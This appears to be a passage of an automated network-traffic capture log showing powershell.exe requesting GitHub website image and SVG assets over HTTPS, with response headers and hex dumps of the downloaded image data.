Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:46 UTC	358	OUT	GET /assets/shape-1-c219318e479a.svg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:46 UTC	665	IN	HTTP/1.1 200 OK Connection: close Content-Length: 978 Cache-Control: public, max-age=31536000, immutable Content-Type: image/svg+xml Last-Modified: Thu, 08 Aug 2024 18:12:08 GMT ETag: "0x8DCB7D59E02F013" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:46 GMT Age: 2939035 X-Served-By: cache-iad-kjyo7100069-IAD, cache-ewr-kewr1740074-EWR X-Cache: HIT, HIT X-Cache-Hits: 25584, 28 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: d5dafaeb08ab2ac537507c479896da499fe709f2
2024-09-30 13:50:46 UTC	978	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 37 39 31 22 20 68 65 69 67 68 74 3d 22 37 39 31 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 31 22 3e 3c 70 61 74 68 20 73 74 72 6f 6b 65 3d 22 23 66 66 66 22 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 20 64 3d 22 4d 35 32 39 2e 31 39 37 20 36 34 34 2e 31 34 37 63 31 33 37 2e 36 38 31 2d 37 34 2e 30 31 38 20 31 38 39 2e 32 38 39 2d 32 34 35 2e 36 33 35 20 31 31 35 2e 32 37 2d 33 38 33 2e 33 31 35 2d 37 34 2e 30 31 38 2d 31 33 37 2e 36 38 31 2d 32 34 35 2e 36 33 35 2d 31 38 39 2e 32 39 2d 33 38 33 2e 33 31 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="791" height="791" fill="none"><g opacity=".1"><path stroke="#fff" stroke-miterlimit="10" stroke-width="2" d="M529.197 644.147c137.681-74.018 189.289-245.635 115.27-383.315-74.018-137.681-245.635-189.29-383.31

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.7	49794	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:46 UTC	374	OUT	GET /assets/git-branch-productivity-c304b83d09c7.svg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:46 UTC	704	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3106 Cache-Control: public, max-age=31536000, immutable Content-Type: image/svg+xml Content-MD5: O4jREI4ePgw/EvN1eVPstQ== Last-Modified: Wed, 14 Aug 2024 19:59:58 GMT ETag: "0x8DCBC9BACEE38E9" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2422789 Date: Mon, 30 Sep 2024 13:50:46 GMT X-Served-By: cache-iad-kcgs7200026-IAD, cache-nyc-kteb1890090-NYC X-Cache: HIT, HIT X-Cache-Hits: 18060, 0 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 381f812ba13ca47fe6643854fbdb8645d257036e
2024-09-30 13:50:46 UTC	1378	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 38 37 22 20 68 65 69 67 68 74 3d 22 34 38 35 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 37 20 34 38 35 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 32 2e 30 30 30 32 36 20 30 4c 32 2e 30 30 30 31 34 20 33 33 2e 35 31 38 38 43 32 2e 30 30 30 30 35 20 36 31 2e 30 30 34 38 20 31 32 2e 33 35 34 32 20 38 37 2e 34 38 32 31 20 33 31 2e 30 30 30 31 20 31 30 37 2e 36 37 36 56 31 30 37 2e 36 37 36 43 34 39 2e 36 34 35 38 20 31 32 37 2e 38 37 31 20 36 30 20 31 35 34 2e 33 34 38 20 36 30 20 31 38 31 2e 38 33 34 56 33 30 31 2e 36 36 35 43 36 30 20 33 32 39 2e 34 35 31 20 34 39 2e 36 36 32 39 20 Data Ascii: <svg width="87" height="485" viewBox="0 0 87 485" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M2.00026 0L2.00014 33.5188C2.00005 61.0048 12.3542 87.4821 31.0001 107.676V107.676C49.6458 127.871 60 154.348 60 181.834V301.665C60 329.451 49.6629
2024-09-30 13:50:46 UTC	1378	IN	Data Raw: 3e 0a 3c 66 65 47 61 75 73 73 69 61 6e 42 6c 75 72 20 73 74 64 44 65 76 69 61 74 69 6f 6e 3d 22 31 30 22 2f 3e 0a 3c 66 65 43 6f 6d 70 6f 73 69 74 65 20 69 6e 32 3d 22 68 61 72 64 41 6c 70 68 61 22 20 6f 70 65 72 61 74 6f 72 3d 22 6f 75 74 22 2f 3e 0a 3c 66 65 43 6f 6c 6f 72 4d 61 74 72 69 78 20 74 79 70 65 3d 22 6d 61 74 72 69 78 22 20 76 61 6c 75 65 73 3d 22 30 20 30 20 30 20 30 20 30 2e 33 33 37 32 35 35 20 30 20 30 20 30 20 30 20 30 2e 38 32 37 34 35 31 20 30 20 30 20 30 20 30 20 30 2e 33 39 32 31 35 37 20 30 20 30 20 30 20 31 20 30 22 2f 3e 0a 3c 66 65 42 6c 65 6e 64 20 6d 6f 64 65 3d 22 6e 6f 72 6d 61 6c 22 20 69 6e 32 3d 22 65 66 66 65 63 74 31 5f 64 72 6f 70 53 68 61 64 6f 77 5f 31 32 30 5f 31 30 34 39 39 22 20 72 65 73 75 6c 74 3d 22 65 66 66 65 Data Ascii: ><feGaussianBlur stdDeviation="10"/><feComposite in2="hardAlpha" operator="out"/><feColorMatrix type="matrix" values="0 0 0 0 0.337255 0 0 0 0 0.827451 0 0 0 0 0.392157 0 0 0 1 0"/><feBlend mode="normal" in2="effect1_dropShadow_120_10499" result="effe
2024-09-30 13:50:46 UTC	350	IN	Data Raw: 73 74 6f 70 2d 6f 70 61 63 69 74 79 3d 22 30 22 2f 3e 0a 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 2e 32 32 35 39 39 32 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 32 45 41 30 34 33 22 2f 3e 0a 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 2e 34 37 32 34 39 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 32 45 41 30 34 33 22 2f 3e 0a 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 2e 35 32 32 33 32 34 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 35 36 44 33 36 34 22 2f 3e 0a 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 2e 35 36 31 34 31 37 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 32 45 41 30 34 33 22 2f 3e 0a 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 2e 37 39 31 37 31 34 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 32 45 41 30 34 33 22 2f 3e 0a 3c 73 Data Ascii: stop-opacity="0"/><stop offset="0.225992" stop-color="#2EA043"/><stop offset="0.47249" stop-color="#2EA043"/><stop offset="0.522324" stop-color="#56D364"/><stop offset="0.561417" stop-color="#2EA043"/><stop offset="0.791714" stop-color="#2EA043"/><s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	49795	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:47 UTC	371	OUT	GET /assets/illu-copilot-sidebar-3d2efb504577.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:47 UTC	663	IN	HTTP/1.1 200 OK Connection: close Content-Length: 53004 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Wed, 25 Oct 2023 16:17:38 GMT ETag: 0x8DBD575E827EDAC Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:47 GMT Age: 3616805 X-Served-By: cache-iad-kjyo7100096-IAD, cache-ewr-kewr1740056-EWR X-Cache: HIT, HIT X-Cache-Hits: 2680, 1665 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 35f67c2975592424f1f54e3698e455eb6f8d75f0
2024-09-30 13:50:47 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 c0 00 00 04 c6 08 03 00 00 00 de f6 3d 3a 00 00 02 fd 50 4c 54 45 2f 36 3e 20 26 2e 23 29 30 cc cc cc d4 d4 d4 55 60 6b 00 7c d2 1f 25 2d dc dc a4 43 48 4f 91 94 96 4d 52 58 56 5c 62 a5 a7 a8 be be bf 80 80 80 7d 81 84 00 cc af b9 b9 ba 36 3c 43 ff ff ff 39 3f 47 a7 a9 aa 6a 6e 72 64 67 6b c2 c3 c3 38 9e db d9 8e 73 00 96 ff 2b 31 38 7a 7d 80 c5 c5 95 4f 54 4b c9 c9 ca 73 78 7b ad af 87 37 3d 3d 9b 9d 9f 42 4d 57 b2 b3 b5 af b0 b1 88 8a 8d 60 65 6a 2e 34 3a 1e 50 4e 6f 72 76 00 a3 8f b8 b9 ba 6a 6e 74 96 98 79 2b 31 35 7e 81 6a 29 44 58 27 27 28 21 3b 3e 00 b8 9e 66 6b 5a 88 de ff 86 88 8b 4e 40 40 28 2d 35 38 34 36 75 75 76 23 29 31 ff bc a7 25 2b 33 3a 40 42 5d 5f 62 43 48 45 24 35 42 3c 47 50 69 Data Ascii: PNGIHDR=:PLTE/6> &.#)0U`k\|%-CHOMRXV\b}6<C9?Gjnrdgk8s+18z}OTKsx{7==BMW`ej.4:PNorvjnty+15~j)DX''(!;>fkZN@@(-5846uuv#)1%+3:@B]_bCHE$5B<GPi
2024-09-30 13:50:47 UTC	1378	IN	Data Raw: 54 08 28 11 45 b2 5a 08 05 11 ac 4b 44 3f 81 83 e0 ee 24 08 e2 58 17 67 c1 4f 61 17 3f 42 db a9 85 82 56 c1 c5 7b 6e 4e 9b da 50 f3 b8 e5 81 ff 6f 48 9e 7b 4f 9e 6e 3f ce 3d 27 2f 17 80 da 12 f8 a6 11 f8 d1 3a 3e c1 8d ab 95 22 98 fd 0b 24 d1 f1 a5 21 32 5e 87 b2 c0 c8 17 e8 a8 34 74 68 e8 73 2c 74 4b 81 6d 29 dd 32 54 14 c4 56 c0 23 5f 00 00 4e 0b 5c 96 c0 ab b8 ca 62 41 c7 7b 2c 70 72 2c 70 18 fa 1d 4f 9f a4 d7 31 69 96 d5 f3 06 03 6d a5 74 0a 81 c3 22 18 2a 1d d4 27 3f 72 75 b0 7b 24 30 85 82 c8 72 ec 62 ae ab 4f 91 db 93 52 e2 01 30 00 4e 71 d8 c3 7a cb ce ae 49 5a e6 c7 ec 1b 0d 9e 9f 12 58 52 b6 f4 d8 dc c2 36 36 50 68 f9 3c 12 b8 18 aa d0 e4 67 c7 b6 23 ce cb d6 91 c0 11 e7 e8 4f 76 8f e6 6c 33 e8 e1 16 31 00 b5 02 4f 72 6e 38 13 21 49 cb 7c 9b cd Data Ascii: T(EZKD?$XgOa?BV{nNPoH{On?='/:>"$!2^4ths,tKm)2TV#_N\bA{,pr,pO1imt"*'?ru{$0rbOR0NqzIZXR66Ph<g#Ovl31Orn8!I\|
2024-09-30 13:50:47 UTC	1378	IN	Data Raw: a4 be 63 46 ab e3 ec 0f 2c 0b 93 83 65 5a 9b 34 3f 7d fc 6a 75 bf 00 7f 01 fe 2f 64 46 c6 26 1a b1 5d 1c eb ba e9 bc 2f ec b3 6c e2 7e f8 51 da 13 51 f0 d8 11 f6 9e 88 fc 81 73 ee c3 49 af f3 99 28 58 46 33 a9 a6 53 93 87 e1 93 0c 97 89 03 d1 e4 7d a7 67 4a de f3 eb 0f eb 67 33 04 a2 30 47 63 aa d3 09 6a 5e 06 40 76 1d 3c bf fa 13 6b 24 53 aa b4 fa 5c 87 41 6b d7 e1 fd 0c aa e4 47 cd 4e ec 33 34 57 b3 81 28 8f 5d 1d 03 3d ae 7e 22 ae 71 9b 16 c9 9d b3 26 2b b6 a9 53 23 35 6b 3a 57 b5 59 fc 46 b7 e6 11 00 d7 84 20 a9 17 a5 ea 6c 26 ca 76 b3 00 f3 8a a6 f6 0e 5b 65 ac 46 e0 3d 51 f6 7e 6c b5 c5 57 d1 3a a0 88 10 b3 3f e4 cb 6d 6e 06 b1 b1 69 69 99 be f2 5e dc 8a 2d 13 15 4f 76 2d 60 58 fb 25 a7 02 b0 a7 87 b4 ab d4 21 3c a1 d1 37 07 c6 18 a2 d2 a3 33 74 b5 Data Ascii: cF,eZ4?}ju/dF&]/l~QQsI(XF3S}gJg30Gcj^@v<k$S\AkGN34W(]=~"q&+S#5k:WYF l&v[eF=Q~lW:?mnii^-Ov-`X%!<73t
2024-09-30 13:50:47 UTC	1378	IN	Data Raw: f4 6c 7f a2 ac 8f 3b 67 78 0f 15 cb 78 05 b0 8e d2 45 7b 0d b0 ff 2d 80 5b d2 74 f7 10 6f 00 9e e0 71 0b 30 ce d0 d6 f6 b2 34 00 e3 e8 56 fd 3e 05 18 2f 57 4e 82 1d 25 09 98 7c fa 05 80 cf 4b b5 e7 c8 56 36 dd 01 cd 96 58 3d c4 2a 8b d3 51 8d f6 2e 52 bd 80 d3 42 fc a7 37 5d 23 98 06 ef 04 70 88 8d 30 be f2 a9 04 3c fc e0 6b 8d 74 0d b0 47 d2 51 a4 e2 bd 53 2b 00 b8 df 01 fc c3 56 2b b8 a7 96 57 cd 06 60 bc 30 c1 14 b6 05 58 5f 2f 31 dd 01 ec 8e 00 97 e7 6d 86 8d c8 e8 ad 31 9d b5 69 6d 6d 00 c7 16 60 e4 88 35 ba b3 53 a8 84 f7 63 e1 04 e0 98 65 5a 04 68 1a 80 9d b5 45 a7 6b 00 2e 44 5e ef 6f 9f 03 7c 59 aa c1 da a8 b7 33 f7 34 cf de 0f 9b 66 7c 7e 99 c1 63 ed cd 7a 8e 3f 6a b9 1b ed 48 88 34 11 6a a0 fb 33 f8 45 51 e9 e6 35 af fc d4 1a a0 e5 d1 36 d6 7f Data Ascii: l;gxxE{-[toq04V>/WN%\|KV6X=*Q.RB7]#p0<ktGQS+V+W`0X_/1m1imm`5SceZhEk.D^o\|Y34f\|~cz?jH4j3EQ56
2024-09-30 13:50:47 UTC	1378	IN	Data Raw: 81 ab 1b f4 64 9b 66 81 78 63 3b ba d7 80 4b 2a d4 0e b5 be 04 28 b5 13 62 ae f5 60 80 e9 aa 95 d2 ba 08 01 4e fd fc cc 1c 14 2e ba cb 62 22 07 2f 4d fc 28 0b 4b 62 ad 17 b0 d4 fe 20 7e 56 a8 19 05 58 46 53 b5 9f e5 b4 e6 1b 41 d9 24 09 db 79 81 f8 45 54 b6 9a 7d 40 04 40 5c cf fc 03 f7 05 f1 d6 76 66 10 53 3e 26 10 a4 ab 95 a2 76 97 88 d6 60 80 a9 e5 16 dd c3 a5 13 b5 79 3e 58 d8 24 49 ea 37 e5 de 92 58 08 6d 68 e9 4d 35 bb 00 17 4e 34 dc b2 9e d9 4a 80 b1 09 da da ce 2d fe f2 f0 80 64 2f c0 db c3 13 dd cb a1 f3 d5 a5 99 fb c8 18 73 62 80 9d bb 2b 93 26 8b a4 ec 15 96 cd 62 bb 9c 87 33 75 bf 11 f3 b2 d4 c2 c7 7f 2f c0 61 aa 5e ad 92 76 f5 6c 8c df 1a b3 04 c6 26 c8 76 76 39 92 cd 33 6b 9f 6d 90 e4 4f 2c a9 20 b6 10 c2 f4 03 7c b8 06 76 59 cb 8d 05 38 93 Data Ascii: dfxc;K*(b`N.b"/M(Kb ~VXFSA$yET}@@\vfS>&v`y>X$I7XmhM5N4J-d/sb+&b3u/a^vl&vv93kmO, \|vY8
2024-09-30 13:50:47 UTC	1378	IN	Data Raw: e0 e4 12 ac 5d da 60 d9 06 c1 2a 9d ee 04 de 51 71 ea f4 2d 58 8c 02 31 87 7f 8a 45 4d ba 7c e9 de e6 96 ee 60 9b 56 e0 0f f7 2b 9e c3 8e 0d 71 fe dc e0 26 2c 06 22 4a 38 b9 08 a1 81 08 96 b3 e6 c9 fe eb 1b 00 5b f5 18 bf 21 81 1f 87 15 2f 61 9d e4 dc 47 c1 72 64 2e be 4c 05 ac 09 4a 4b 4c 60 f3 9c 1e 9c 83 05 e1 88 09 fc 5d 18 6f b0 82 bd c5 2c 8a a2 d9 58 ac 26 d0 d5 fd ab 5b 20 ed 16 08 fc 6e cf 70 b4 66 81 13 f4 49 a0 2f 42 ca 0c 6a 18 12 51 0e eb 81 d2 12 29 6c 9c 33 83 c1 99 85 25 50 b9 06 8f 5c 26 ad 1a a5 84 3e f4 8f 49 b1 01 f4 a6 94 79 23 cf 0c 31 b2 c8 2f 2b f9 74 6f 7f ff 1e 05 76 a6 09 56 b4 34 38 01 02 57 3c 5e b3 c0 13 65 91 28 95 65 02 7d 11 88 ac 61 9a 4a d3 34 4f 10 31 5f ab c0 89 72 64 b0 71 2e 0e 2e c2 aa 28 e4 3f d5 08 7d e8 1f 93 29 Data Ascii: ]`*Qq-X1EM\|`V+q&,"J8[!/aGrd.LJKL`]o,X&[ npfI/BjQ)l3%P\&>Iy#1/+tovV48W<^e(e}aJ4O1_rdq..(?})
2024-09-30 13:50:47 UTC	1378	IN	Data Raw: 48 ba b6 85 13 98 68 fc 3d c8 3c 81 db bf 02 9f fa b5 c0 b2 ee 38 5d 4e 60 ff 5d 82 89 0b 90 2b 9e 42 fb 05 ea 8e 02 7b 08 dc fe 2d 9b 04 f6 ed 29 69 ff 9f 4d a7 1a 6a 6e 38 81 89 a7 8f ce 50 54 4f 59 4f e0 0a fc 9d bd 33 68 71 1a 88 e2 b8 05 21 20 22 8a a0 22 28 28 88 a8 71 4e cb 04 c4 6b 21 27 59 c4 b9 d4 80 97 7e 81 51 cc a5 87 7c 80 b2 60 af 42 a0 90 8b e7 85 80 78 d9 53 3f 41 8f 82 0a 7b db 53 c1 2f e0 cc 24 ff f4 b5 d3 09 53 ab b5 6a ff 7b 68 3a 9b 79 99 49 f3 eb cc bc f7 92 aa d9 70 87 aa 1d e0 93 6a e3 eb cd d1 eb e5 af 81 6f 5d 5f 80 29 3d 74 4b 28 f0 78 3b c0 d5 84 ba 1c 46 18 86 1c 00 d3 8b 19 f3 39 08 c4 e1 32 b3 01 c6 fc 37 01 21 b4 19 f5 64 50 56 2f f8 3e c0 78 4b 2f e3 52 35 52 74 88 60 0f 5b 86 c6 d2 06 f8 6a 3b c0 05 ed f2 fa 00 e3 3b d3 Data Ascii: Hh=<8]N`]+B{-)iMjn8PTOYO3hq! ""((qNk!'Y~Q\|`BxS?A{S/$Sj{h:yIpjo]_)=tK(x;F927!dPV/>xK/R5Rt`[j;;
2024-09-30 13:50:47 UTC	1378	IN	Data Raw: 4d 95 46 37 47 fa c5 8c ab 5d ed 9b 7a ab a0 fd 00 80 0f 74 d0 e8 e3 db 51 53 a7 df d3 bb 7c 54 05 87 eb e5 42 33 96 54 e9 c5 48 5a 66 63 a9 b3 9e 2c 67 f5 aa a1 12 91 27 a9 c6 13 86 fc a4 c8 64 f8 2a 95 24 f3 59 16 45 82 31 1a 07 46 76 f4 f2 0d fd b8 55 02 09 59 00 3a 51 56 af d4 75 60 96 49 d5 e4 72 d5 14 1a 79 c0 4c 1f 38 6f ae 76 d4 c9 e6 cd 67 85 4c 0c e2 d0 0d 1a 09 16 e6 98 9a 24 17 c0 3c d2 52 36 f5 0b 5f 7a 82 02 a3 67 ca a8 36 ab 1b c1 d4 81 61 4d 54 8d 8d 74 81 5d 07 ba a6 f8 bd df 92 4a 59 fa 74 50 44 f0 53 37 9f c6 f4 b3 7e 28 c7 69 dd b4 e9 54 16 2c 62 43 00 9c a9 30 52 91 e7 4c ca 19 8e c3 14 c2 79 3a 99 8c 5f 74 a0 73 cf 9f bf 5a 20 e8 fa 03 8c c0 9b 0d b7 c1 cf ec b6 3d 80 11 01 3a 39 68 66 cc 10 f8 ec 9a a2 c3 3e 00 56 25 27 37 51 07 71 Data Ascii: MF7G]ztQS\|TB3THZfc,g'd*$YE1FvUY:QVu`IryL8ovgL$<R6_zg6aMTt]JYtPDS7~(iT,bC0RLy:_tsZ =:9hf>V%'7Qq
2024-09-30 13:50:47 UTC	1378	IN	Data Raw: 4c ee 4f df fe 64 c1 68 af 6d 6d 89 6c cb 09 f0 e6 9d 3b d3 2e 37 36 2f 1f 3c b8 bc db 28 ad f4 ca e5 10 42 2c fd e5 ce be f9 e2 6d 98 fb 89 26 53 29 21 f5 7c 5e 7f 38 74 00 58 9e 94 5e 2f 3a 43 d2 22 bd e9 b7 eb ef 6f 17 af a9 76 ca b5 b7 57 cb 22 bb dd 6f 34 fa 7d b4 b6 bd bd b5 b4 1e f8 6e b9 3c ed ea 49 39 56 a5 b4 d2 ab 17 e7 a8 33 ed ea f1 8b 37 e1 91 44 93 a9 16 21 c1 2d b0 d7 9b 4c cf e0 7e 14 b9 a5 c5 eb f3 8d f5 f7 66 00 ff 74 7c 24 f4 75 c6 2d ed ed ed 55 2a b5 1b ac df 54 80 2b e5 f2 c9 1f 77 ef 3e 78 a0 f5 c0 2d 6a cd dc 64 c8 cb ac 34 87 98 1b 4e fa 5c da 59 34 c0 cc e4 0a b3 00 3b 5e e8 dc 02 70 b3 ce f4 35 dd ef 76 3f 37 e6 8c 41 43 d7 61 2b 9b f4 ce fa 3b b3 8c 8f fb 0d ae d3 0c c0 5b 1c df 46 9f 6b 2d 4d d9 de 7a 23 01 fe b3 bc 0b 74 35 Data Ascii: LOdhmml;.76/<(B,m&S)!\|^8tX^/:C"ovW"o4}n<I9V37D!-L~ft\|$u-U*T+w>x-jd4N\Y4;^p5v?7ACa+;[Fk-Mz#t5
2024-09-30 13:50:47 UTC	1378	IN	Data Raw: 4f 9b 03 27 00 a3 ec be fc 4a 85 07 d6 bf ce d0 9b f0 c0 56 02 e1 d3 33 5e d8 10 00 5f 24 24 9b b6 dd ca 01 ac 9d 03 7f b9 f1 95 fa b1 7d 35 16 07 4e b0 04 78 2c 4f b6 c6 d5 af 8b cd 81 a1 b5 e5 02 98 af 0f c9 b3 43 09 f0 4f e5 9f e4 54 b8 5c de 9c 17 e0 30 fd 14 91 30 d7 c7 0a 03 0c 9e c2 6c 4f 6c a2 1f 89 8a 27 c0 b4 d0 cd 21 41 0d 1c ba d6 d3 e7 0a 07 1c 47 16 b7 0f a7 96 22 d5 c9 de a0 2b 8d f5 60 50 6f 12 53 e8 3c 2d 03 4a 02 98 ae 53 44 5a 22 97 47 cc f8 50 0c 60 75 f0 61 6a a3 53 0e be b5 6c 8b 9d 82 00 b7 60 84 31 9a 1e 85 9e 1c 42 8f 64 e9 b3 33 78 60 79 6d 64 8f 8a 03 fc d5 c6 8f ea c7 81 04 18 da 6a b7 2b 92 d9 ea b8 28 c0 86 04 78 6d 99 00 96 b8 72 5d 4a 80 7f 2d 5f a6 a3 eb cb 79 01 b6 49 90 9e d9 60 30 9c 1d e0 92 a6 27 d2 09 80 d9 04 25 75 Data Ascii: O'JV3^_$$}5Nx,OCOT\00lOl'!AG"+`PoS<-JSDZ"GP`uajSl`1Bd3x`ymdj+(xmr]J-_yI`0'%u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	49796	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:47 UTC	365	OUT	GET /assets/bg-glow-purple-6e9a6a96cb04.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:47 UTC	701	IN	HTTP/1.1 200 OK Connection: close Content-Length: 617 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Content-MD5: 6MI29tMMp+XCbe21DZdWjA== Last-Modified: Wed, 14 Aug 2024 19:50:31 GMT ETag: "0x8DCBC9A5AFF8423" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:47 GMT Age: 2110203 X-Served-By: cache-iad-kcgs7200038-IAD, cache-ewr-kewr1740053-EWR X-Cache: HIT, HIT X-Cache-Hits: 15809, 806 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 9b13de346637e3182acf8498dc12e137c43b84af
2024-09-30 13:50:47 UTC	617	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 08 00 00 00 07 08 06 00 00 00 35 59 0c 5e 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 01 65 69 43 43 50 44 69 73 70 6c 61 79 20 50 33 00 00 78 9c 75 90 bd 4b c3 50 14 c5 4f ab 52 d0 3a 88 0e 1d 1c 32 89 43 d4 d2 0a 76 71 68 2b 14 45 30 54 05 ab 53 9a 7e 09 6d 7c 24 29 52 71 13 57 29 f8 1f 58 c1 59 70 b0 88 54 70 71 70 10 44 07 11 dd 9c 3a 29 b8 68 78 de 97 54 da 22 de c7 e5 fd 38 9c 73 b9 5c c0 1b 50 19 2b f6 02 28 e9 96 91 4c c4 a4 b5 d4 ba e4 7b 83 87 9e 53 aa 66 b2 a8 a2 2c 0a fe fd bb eb f3 d1 f5 de 4f 88 59 4d bb 76 10 d9 4f 5c 97 ce 2e 97 76 9e 02 53 7f fd 5d d5 9f c9 9a 1a fd df d4 41 8d 19 16 e0 91 89 95 6d 8b 09 de 25 1e 31 68 29 e2 aa e0 bc cb c7 82 d3 2e 9f 3b 9e Data Ascii: PNGIHDR5Y^pHYseiCCPDisplay P3xuKPOR:2Cvqh+E0TS~m\|$)RqW)XYpTpqpD:)hxT"8s\P+(L{Sf,OYMvO\.vS]Am%1h).;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	49797	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:47 UTC	365	OUT	GET /assets/illu-actions-2-c5178134f381.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:48 UTC	661	IN	HTTP/1.1 200 OK Connection: close Content-Length: 88773 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Tue, 31 Oct 2023 15:56:17 GMT ETag: 0x8DBDA29EAE3C96B Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:48 GMT Age: 4172986 X-Served-By: cache-iad-kjyo7100087-IAD, cache-nyc-kteb1890044-NYC X-Cache: HIT, HIT X-Cache-Hits: 25397, 1 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: de953613bba47e83277add81d583f3e0788ee55a
